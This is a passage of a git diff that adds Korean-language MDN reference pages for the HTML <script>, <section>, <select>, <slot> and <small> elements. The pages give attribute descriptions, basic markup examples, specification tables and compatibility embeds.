+ <li><strong>다른 모든 값:</strong> 내장 콘텐츠를 브라우저가 처리하지 않을 데이터 블록으로 간주합니다. 개발자는 반드시 유효하면서 JavaScript가 아닌 MIME 유형을 지정해야 합니다. <code>src</code> 특성을 무시합니다.</li>
+ </ul>
+ </dd>
+</dl>
+
+<div class="hidden">
+<h3 id="Deprecated_attributes">Deprecated attributes</h3>
+
+<dl>
+ <dt>{{htmlattrdef("charset")}} {{Deprecated_inline}}</dt>
+ <dd>If present, its value must be an ASCII case-insensitive match for "<code>utf-8</code>". It’s unnecessary to specify the <code>charset</code> attribute, because documents must use UTF-8, and the <code>script</code> element inherits its character encoding from the document.</dd>
+ <dt>{{htmlattrdef("language")}} {{Deprecated_inline}}</dt>
+ <dd>Like the <code>type</code> attribute, this attribute identifies the scripting language in use. Unlike the <code>type</code> attribute, however, this attribute’s possible values were never standardized. The <code>type</code> attribute should be used instead.</dd>
+</dl>
+</div>
+
+<h2 id="참고">참고</h2>
+
+<p>브라우저가 구문 분석을 진행하다 인라인 스크립트 또는 {{htmlattrxref("async", "script")}}, {{htmlattrxref("defer", "script")}}, <code>type="module"</code> 특성이 없는 스크립트에 도달하면 스크립트를 가져온 후 실행하기 전까지 분석을 중단합니다.</p>
+
+<p>스크립트는 <code>text/javascript</code> MIME 유형을 설정해야 하나, 브라우저는 관대한 규칙을 적용하여 이미지 형태(<code>image/*</code>), 비디오 형태(<code>video/*</code>), 오디오 형태(<code>audio/*</code>), <code>text/csv</code> 형태로 스크립트를 불러오려는 경우만 차단하고 나머지는 허용합니다. 스크립트를 차단한 경우 {{event("load")}} 대신 {{event("error")}} 이벤트를 요소에 전송합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="기본">기본</h3>
+
+<p>다음 예제는 <code>&lt;script&gt;</code> 요소를 사용해 외부 스크립트를 가져오는 법을 보입니다.</p>
+
+<pre class="brush: html notranslate">&lt;script src="javascript.js"&gt;&lt;/script&gt;
+</pre>
+
+<p>그리고 아래 코드는 <code>&lt;script&gt;</code> 요소 내부에 인라인 스크립트를 작성하는 예시입니다.</p>
+
+<pre class="brush: html notranslate">&lt;script&gt;
+ alert("Hello World!");
+&lt;/script&gt;</pre>
+
+<h3 id="모듈_대체_스크립트">모듈 대체 스크립트</h3>
+
+<p>{{htmlattrxref("type", "script")}} 특성이 <code>module</code>을 지원하는 브라우저는 <code>nomodule</code> 특성을 가진 모든 <code>&lt;script&gt;</code>를 무시합니다. 그러므로 모듈 스크립트를 사용하면서도, 미지원 브라우저를 위한 대체 스크립트를 <code>nomodule</code>로 표시해 제공할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">&lt;script type="module" src="main.mjs"&gt;&lt;/script&gt;
+&lt;script nomodule src="fallback.js"&gt;&lt;/script&gt;</pre>
+
+<h3 id="HTML에_데이터_삽입하기">HTML에 데이터 삽입하기</h3>
+
+<p>&lt;script&gt; 요소와 JavaScript 외의 유효한 MIME 유형을 사용하면 서버사이드 렌더링을 통해 HTML에 데이터를 삽입할 수 있습니다.</p>
+
+<pre class="brush: html notranslate">&lt;!-- Generated by the server --&gt;
+&lt;script id="data" type="application/json"&gt;{"userId":1234,"userName":"John Doe","memberSince":"2000-01-01T00:00:00.000Z"}&lt;/script&gt;
+
+&lt;!-- Static --&gt;
+&lt;script&gt;
+ const userInfo = JSON.parse(document.getElementById("data").text);
+ console.log("User information: %o", userInfo);
+&lt;/script&gt;</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comments</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("HTML WHATWG", "scripting.html#the-script-element", "&lt;script&gt;")}}</td>
+ <td>{{Spec2("HTML WHATWG")}}</td>
+ <td>Removed the {{HTMLAttrxRef("charset", "script")}} attribute</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML5 W3C", "semantics-scripting.html#the-script-element", "&lt;script&gt;")}}</td>
+ <td>{{Spec2("HTML5 W3C")}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML4.01", "interact/scripts.html#h-18.2.1", "&lt;script&gt;")}}</td>
+ <td>{{Spec2("HTML4.01")}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<div>{{Compat("html.elements.script", 2)}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("document.currentScript")}}</li>
+ <li><a href="https://pie.gd/test/script-link-events/">Ryan Grove의 <code>&lt;script&gt;</code>와 <code>&lt;link&gt;</code> 노드 이벤트 호환성 차트</a></li>
+</ul>
diff --git a/files/ko/web/html/element/section/index.html b/files/ko/web/html/element/section/index.html
new file mode 100644
index 0000000000..46efafc2b0
--- /dev/null
+++ b/files/ko/web/html/element/section/index.html
@@ -0,0 +1,123 @@
+---
+title: '<section>: 일반 구획 요소'
+slug: Web/HTML/Element/section
+tags:
+ - Element
+ - HTML
+ - HTML sections
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/section
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;section&gt;</code> 요소</strong>는 HTML 문서의 독립적인 구획을 나타내며, 더 적합한 의미를 가진 요소가 없을 때 사용합니다.</span> 보통 <code>&lt;section&gt;</code>은 제목을 포함하지만, 항상 그런 것은 아닙니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/section.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<div class="note">
+<p><strong>참고</strong>: 요소의 콘텐츠를 외부와 구분하여 단독으로 묶는 것이 나아보인다면 {{htmlelement("article")}} 요소가 더 좋은 선택일 수 있습니다.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구획_콘텐츠">구획 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>를 허용하는 모든 요소.<br>
+ 단, <code>&lt;section&gt;</code> 요소는 {{HTMLElement("address")}}의 자손이 될 수 없습니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>{{ARIARole("alert")}}, {{ARIARole("alertdialog")}}, {{ARIARole("application")}}, {{ARIARole("banner")}}, {{ARIARole("complementary")}}, {{ARIARole("contentinfo")}}, {{ARIARole("dialog")}}, {{ARIARole("document")}}, {{ARIARole("feed")}}, {{ARIARole("log")}}, {{ARIARole("main")}}, {{ARIARole("marquee")}}, {{ARIARole("navigation")}}, {{ARIARole("search")}}, {{ARIARole("status")}}, {{ARIARole("tabpanel")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<ul>
+ <li>각각의 <code>&lt;section&gt;</code>을 식별할 수단이 필요합니다. 주로 제목({{htmlelement('h1')}}-{{htmlelement('h6')}}) 요소를 <code>&lt;section&gt;</code>의 자식으로 포함하는 방법을 사용합니다.</li>
+ <li>요소의 콘텐츠를 따로 구분해야 할 필요가 있으면 {{htmlelement("article")}} 요소를 고려하세요.</li>
+ <li><code>&lt;section&gt;</code> 요소를 일반 컨테이너로 사용하지 마세요. 특히 단순한 스타일링이 목적이라면 {{htmlelement("div")}} 요소를 사용해야 합니다. 대개, 문서 요약에 해당 구획이 논리적으로 나타나야 하면 <code>&lt;section&gt;</code>이 좋은 선택입니다.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="이전">이전</h3>
+
+<pre class="brush: html">&lt;div&gt;
+ &lt;h2&gt;Heading&lt;/h2&gt;
+ &lt;img&gt;some image&lt;/img&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="이후">이후</h3>
+
+<pre class="brush: html">&lt;section&gt;
+ &lt;h2&gt;Heading&lt;/h2&gt;
+ &lt;img&gt;some image&lt;/img&gt;
+&lt;/section&gt;
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">주석</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'sections.html#the-section-element', '&lt;section&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5.1', 'sections.html#the-section-element', '&lt;section&gt;')}}</td>
+ <td>{{Spec2('HTML5.1')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'sections.html#the-section-element', '&lt;section&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("html.elements.section")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/Accessibility/ARIA/Roles/Region_role">ARIA: Region role</a></li>
+</ul>
diff --git a/files/ko/web/html/element/select/index.html b/files/ko/web/html/element/select/index.html
new file mode 100644
index 0000000000..59ae3e90ed
--- /dev/null
+++ b/files/ko/web/html/element/select/index.html
@@ -0,0 +1,210 @@
+---
+title: <select>
+slug: Web/HTML/Element/select
+tags:
+ - Element
+ - Forms
+ - HTML
+ - HTML forms
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/select
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;select&gt;</code> 요소</strong>는 옵션 메뉴를 제공하는 컨트롤을 나타냅니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/select.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples
+&lt;https://github.com/mdn/interactive-examples>">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<p>위의 예제는 일반적인 <code>&lt;select&gt;</code> 사용법을 시연합니다. {{htmlelement("label")}}과 연결해 접근성을 향상할 수 있도록 {{htmlattrxref("id")}} 특성을, 서버로 전송할 데이터의 이름을 위해 {{htmlattrxref("name", "select")}} 특성을 적용했습니다. 메뉴의 각 옵션은 <code>&lt;select&gt;</code> 안의 {{htmlelement("option")}}으로 정의합니다.</p>
+
+<p>모든 <code>&lt;option&gt;</code>은 자신이 선택됐을 때 값으로써 사용할 {{htmlattrxref("value", "option")}} 특성이 필요합니다. 그러나 <code>value</code> 특성을 지정하지 않은 경우, 대신 자기 안의 텍스트를 값으로 사용합니다. {{htmlattrxref("selected", "option")}} 특성을 지정하면 해당 옵션을 선택한 상태로 페이지를 불러옵니다.</p>
+
+<p><code>&lt;select&gt;</code> 요소를 조작할 때 사용할 수 있는 여러가지 고유 특성이 존재합니다. {{htmlattrxref("multiple", "select")}} 특성을 사용하면 다수의 항목을 동시에 선택할 수 있고, {{htmlattrxref("size", "select")}} 특성은 한 번에 노출되는 항목의 수를 조절할 수 있습니다. <code>required</code>, <code>disabled</code>, <code>autofocus</code> 등 일반적인 양식 입력 요소의 특성도 사용할 수 있습니다.</p>
+
+<p><code>&lt;option&gt;</code> 요소를 {{htmlelement("optgroup")}} 요소 안에 배치하면 드롭다운 내에서 옵션 그룹을 나눌 수 있습니다.</p>
+
+<p class="hidden">For further examples, see <a href="/en-US/docs/Learn/HTML/Forms/The_native_form_widgets#Drop-down_content">The native form widgets: Drop-down content</a>.</p>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("autocomplete")}}</dt>
+ <dd>{{glossary("user agent", "사용자 에이전트")}}의 자동완성 기능을 지원하는 {{domxref("DOMString")}}. 가능한 값의 전체 목록과, 자동완성의 상세 사용법은 <a href="/ko/docs/Web/HTML/Attributes/autocomplete">HTML <code>autocomplete</code> 특성</a> 문서를 참고하세요.</dd>
+ <dt>{{htmlattrdef("autofocus")}}</dt>
+ <dd>지정한 경우, 페이지를 불러왔을 때 자동으로 포커스를 부여합니다. 문서 내에서 하나의 양식 요소만 <code>autofocus</code> 특성을 가질 수 있습니다.</dd>
+ <dt>{{htmlattrdef("disabled")}}</dt>
+ <dd>지정한 경우, 사용자와 <code>&lt;select&gt;</code> 요소의 모든 상호작용을 막습니다. 지정하지 않은 경우에도 {{htmlelement("fieldset")}} 등 부모 요소의 <code>disabled</code> 특성을 상속하므로 비활성 상태가 될 수 있습니다.</dd>
+ <dt>{{htmlattrdef("form")}}</dt>
+ <dd><code>&lt;select&gt;</code>와 연결할 {{HTMLElement("form")}} 요소("양식 소유자"). 같은 문서에 존재하는 <code>&lt;form&gt;</code> 요소의 {{htmlattrxref("id")}} 특성 값을 사용해야 합니다. <code>form</code> 특성을 지정하지 않았으나 조상 중 <code>&lt;form&gt;</code> 요소가 존재하면 해당 <code>&lt;form&gt;</code>과 연결됩니다.</dd>
+ <dd><code>form</code> 특성을 사용하면 <code>&lt;select&gt;</code>를 <code>&lt;form&gt;</code> 요소에 넣지 않고도 연결할 수 있고, 조상 중 <code>&lt;form&gt;</code>이 있더라도 소유자를 재정의할 수 있습니다.</dd>
+ <dt>{{htmlattrdef("multiple")}}</dt>
+ <dd>지정한 경우, 메뉴에서 다수의 옵션을 선택할 수 있습니다. 지정하지 않은 경우 하나만 선택 가능합니다. 대부분의 브라우저는 <code>multiple</code> 특성이 존재하면 드롭다운 메뉴 대신 스크롤 가능한 목록 상자를 보여줍니다.</dd>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>컨트롤의 이름.</dd>
+ <dt>{{htmlattrdef("required")}}</dt>
+ <dd>옵션 중 값으로 비어있지 않은 문자열을 값으로 하는 항목을 반드시 선택해야 함을 나타냅니다.</dd>
+ <dt>{{htmlattrdef("size")}}</dt>
+ <dd><code>&lt;select&gt;</code>를 (<code>multiple</code> 특성 사용 등의 이유로) 스크롤 가능한 목록 상자로 표현할 때 지정한 경우, 목록에서 한 번에 볼 수 있는 옵션 줄 수를 나타냅니다. 브라우저가 <code>&lt;select&gt;</code> 요소를 반드시 스크롤 가능한 목록 상자로 표현해야 하는 것은 아닙니다. 기본값은 0입니다.</dd>
+</dl>
+
+<div class="note"><strong>참고:</strong> HTML5 명세에 따르면 <code>size</code>의 기본값은 1이어야 합니다. 그러나 실제로 기본값을 1로 적용하면 일부 웹 사이트가 망가지는 것으로 밝혀졌으며 어떠한 브라우저도 기본값으로 1을 사용하지 않습니다. Mozilla도 당분간 Firefox의 기본값을 0으로 유지하기로 결정했습니다.</div>
+
+<dl>
+</dl>
+
+<ul>
+</ul>
+
+<div class="hidden">
+<h2 id="Usage_notes">Usage notes</h2>
+
+<h3 id="Selecting_multiple_options">Selecting multiple options</h3>
+
+<p>On a desktop computer, there are a number of ways to select multiple options in a <code>&lt;select&gt;</code> element with a <code>multiple</code> attribute:</p>
+
+<p>Mouse users can hold the <kbd>Ctrl</kbd>, <kbd>Command</kbd>, or <kbd>Shift</kbd> keys (depending on what makes sense for your operating system) and then click multiple options to select/deselect them.</p>
+
+<div class="blockIndicator warning">
+<p><strong>Warning</strong>: The mechanism for selecting multiple non-contiguous items via the keyboard described below currently only seems to work in Firefox. Also note that on macOS, the <kbd>Ctrl</kbd> + <kbd>Up</kbd> and <kbd>Ctrl</kbd> + <kbd>Down</kbd> shortcuts conflict with the OS default shortcuts for <em>Mission Control</em> and <em>Application windows</em>, so you'll have to turn these off before it will work.</p>
+</div>
+
+<p>Keyboard users can select multiple contiguous items by:</p>
+
+<ul>
+ <li>Focusing on the <code>&lt;select&gt;</code> element (e.g. using <kbd>Tab</kbd>).</li>
+ <li>Selecting an item at the top or bottom of the range they want to select using the <kbd>Up</kbd> and <kbd>Down</kbd> cursor keys to go up and down the options.</li>
+ <li>Holding down the <kbd>Shift</kbd> key and then using the <kbd>Up</kbd> and <kbd>Down</kbd> cursor keys to increase or decrease the range of items selected.</li>
+</ul>
+
+<p>Keyboard users can select multiple non-contiguous items by:</p>
+
+<ul>
+ <li>Focusing on the <code>&lt;select&gt;</code> element (e.g. using <kbd>Tab</kbd>).</li>
+ <li>Holding down the <kbd>Ctrl</kbd> key then using the <kbd>Up</kbd> and <kbd>Down</kbd> cursor keys to change the "focused" select option, i.e. the one that will be selected if you choose to do so. The "focused" select option is highlighted with a dotted outline, in the same way as a keyboard-focused link.</li>
+ <li>Pressing <kbd>Space</kbd> to select/deselect "focused" select options.</li>
+</ul>
+</div>
+
+<h2 id="CSS_스타일링">CSS 스타일링</h2>
+
+<p><code>&lt;select&gt;</code> 요소는 CSS를 사용해 스타일을 적용하기 어렵기로 유명합니다. 물론 <a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">박스 모델</a>이나 <a href="/ko/docs/Web/CSS/CSS_Fonts">글씨체</a> 등 일부분은 다른 요소처럼 바꿀 수 있으며, {{cssxref("appearance")}} 속성을 사용하면 기본 시스템 외형을 제거할 수도 있습니다.</p>
+
+<p>그러나 <code>&lt;select&gt;</code> 요소의 내부 구조는 복잡해 통제하기 힘들며, 브라우저간의 차이로 인해 일관적이지 않은 결과가 나올 수도 있습니다. 요소의 모든 부분을 통제해야 할 경우 적합한 스타일링 방법을 제공하는 라이브러리를 고려하세요. 아니면 다른 요소와 JavaScript, <a href="/ko/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA</a>를 사용해 완전히 별도의 드롭다운 메뉴를 만들어보세요.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="기본_메뉴">기본 메뉴</h3>
+
+<pre class="brush: html">&lt;!-- 두 번째 값이 처음부터 선택된 상태 --&gt;
+&lt;select name="choice"&gt;
+  &lt;option value="first"&gt;First Value&lt;/option&gt;
+  &lt;option value="second" selected&gt;Second Value&lt;/option&gt;
+  &lt;option value="third"&gt;Third Value&lt;/option&gt;
+&lt;/select&gt;</pre>
+
+<p>{{EmbedLiveSample("기본_메뉴", "", "100")}}</p>
+
+<h3 id="여러_기능을_갖춘_복잡한_메뉴">여러 기능을 갖춘 복잡한 메뉴</h3>
+
+<pre class="brush: html">&lt;label&gt;Please choose one or more pets:
+ &lt;select name="pets" multiple size="4"&gt;
+ &lt;optgroup label="4-legged pets"&gt;
+ &lt;option value="dog"&gt;Dog&lt;/option&gt;
+ &lt;option value="cat"&gt;Cat&lt;/option&gt;
+ &lt;option value="hamster" disabled&gt;Hamster&lt;/option&gt;
+ &lt;/optgroup&gt;
+ &lt;optgroup label="Flying pets"&gt;
+ &lt;option value="parrot"&gt;Parrot&lt;/option&gt;
+ &lt;option value="macaw"&gt;Macaw&lt;/option&gt;
+ &lt;option value="albatross"&gt;Albatross&lt;/option&gt;
+ &lt;/optgroup&gt;
+ &lt;/select&gt;
+&lt;/label&gt;
+</pre>
+
+<p>{{EmbedLiveSample("여러_기능을_갖춘_복잡한_메뉴", "", "100")}}</p>
+
+<ul>
+ <li><code>multiple</code> 특성으로 인해 여러 옵션을 같이 선택할 수 있습니다.</li>
+ <li><code>size</code> 특성으로 인해 최대 4개의 옵션만 보입니다.</li>
+ <li>{{htmlelement("optgroup")}} 요소를 사용해 옵션을 두 개의 분리된 그룹으로 나눴습니다. 옵션 그룹은 순전히 시각적인 구분으로, 보통 굵은 글씨체의 옵션명 및 들여쓰기한 옵션 구성원으로 표현합니다.</li>
+ <li>"Hamster" 옵션에는 <code>disabled</code> 특성이 있으므로 선택할 수 없습니다.</li>
+</ul>
+
+<h2 id="기술_요약">기술 요약</h2>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#대화형_콘텐츠">대화형 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#양식_관련_콘텐츠">양식 관련 콘텐츠</a>(<a href="/ko/docs/Web/Guide/HTML/Content_categories#나열됨">나열됨</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#레이블_가능">레이블 가능</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#초기화_가능">초기화 가능</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#제출_가능">제출 가능</a>).</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td>0개 이상의 {{HTMLElement("option")}} 또는 {{HTMLElement("optgroup")}} 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>{{ARIARole("menu")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLSelectElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comments</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'forms.html#the-select-element', '&lt;select&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'sec-forms.html#the-select-element', '&lt;select&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'interact/forms.html#h-17.6', '&lt;select&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.select")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><code>&lt;select&gt;</code>가 발사하는 이벤트: {{event("change")}}, {{event("input")}}</li>
+</ul>
diff --git a/files/ko/web/html/element/slot/index.html b/files/ko/web/html/element/slot/index.html
new file mode 100644
index 0000000000..b710ceb7f6
--- /dev/null
+++ b/files/ko/web/html/element/slot/index.html
@@ -0,0 +1,122 @@
+---
+title: <slot>
+slug: Web/HTML/Element/slot
+tags:
+ - Element
+ - HTML
+ - HTML Web Components
+ - Reference
+ - Web
+ - Web Components
+ - 웹 컴포넌트
+translation_of: Web/HTML/Element/slot
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;slot&gt;</code> 요소</strong>는 웹 컴포넌트 사용자가 자신만의 마크업으로 채워 별도의 DOM 트리를 생성하고, 컴포넌트와 함께 표현할 수 있는 웹 컴포넌트 내부의 플레이스홀더입니다.</span></p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#투명_콘텐츠_모델">투명</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">이벤트</th>
+ <td>{{event("slotchange")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>없음</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLSlotElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/en-US/docs/Web/HTML/Global_attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>슬롯의 이름.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;template id="element-details-template"&gt;
+ &lt;style&gt;
+ details {font-family: "Open Sans Light", Helvetica, Arial, sans-serif }
+ .name {font-weight: bold; color: #217ac0; font-size: 120% }
+ h4 {
+  margin: 10px 0 -8px 0;
+ background: #217ac0;
+  color: white;
+  padding: 2px 6px;
+ border: 1px solid #cee9f9;
+  border-radius: 4px;
+  }
+ .attributes { margin-left: 22px; font-size: 90% }
+ .attributes p { margin-left: 16px; font-style: italic }
+ &lt;/style&gt;
+ &lt;details&gt;
+ &lt;summary&gt;
+ &lt;code class="name"&gt;&amp;lt;&lt;slot name="element-name"&gt;NEED NAME&lt;/slot&gt;&amp;gt;&lt;/code&gt;
+ &lt;i class="desc"&gt;&lt;slot name="description"&gt;NEED DESCRIPTION&lt;/slot&gt;&lt;/i&gt;
+ &lt;/summary&gt;
+ &lt;div class="attributes"&gt;
+ &lt;h4&gt;Attributes&lt;/h4&gt;
+ &lt;slot name="attributes"&gt;&lt;p&gt;None&lt;/p&gt;&lt;/slot&gt;
+ &lt;/div&gt;
+ &lt;/details&gt;
+ &lt;hr&gt;
+&lt;/template&gt;</pre>
+
+<div class="note">
+<p><strong>참고</strong>: 온전한 예제는 <a class="external external-icon" href="https://github.com/mdn/web-components-examples/tree/master/element-details" rel="noopener">element-details</a>(<a class="external external-icon" href="https://mdn.github.io/web-components-examples/element-details/" rel="noopener">라이브로 보기</a>)에서 볼 수 있습니다. 설명은 <a href="/ko/docs/Web/Web_Components/Using_templates_and_slots">템플릿과 슬롯 사용하기</a>에서 확인할 수 있습니다.</p>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comments</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG','scripting.html#the-slot-element','&lt;slot&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM WHATWG','#shadow-tree-slots','Slots')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.slot")}}</p>
diff --git a/files/ko/web/html/element/small/index.html b/files/ko/web/html/element/small/index.html
new file mode 100644
index 0000000000..efc0a62cd5
--- /dev/null
+++ b/files/ko/web/html/element/small/index.html
@@ -0,0 +1,117 @@
+---
+title: '<small>: 덧붙임 글 요소'
+slug: Web/HTML/Element/small
+tags:
+ - Element
+ - HTML
+ - HTML text-level semantics
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/small
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;small&gt;</code></strong> <strong>요소</strong>는 덧붙이는 글이나, 저작권과 법률 표기 등의 작은 텍스트를 나타냅니다.</span> 기본 상태에서 <code>&lt;small&gt;</code>은 자신의 콘텐츠를 한 사이즈 작은 글꼴(<code>small</code>에서 <code>x-small</code> 등)로 표시하지만, 스타일을 적용한 후에도 글씨 크기가 작을 필요는 없습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/small.html", "tabbed-shorter")}}</div>
+
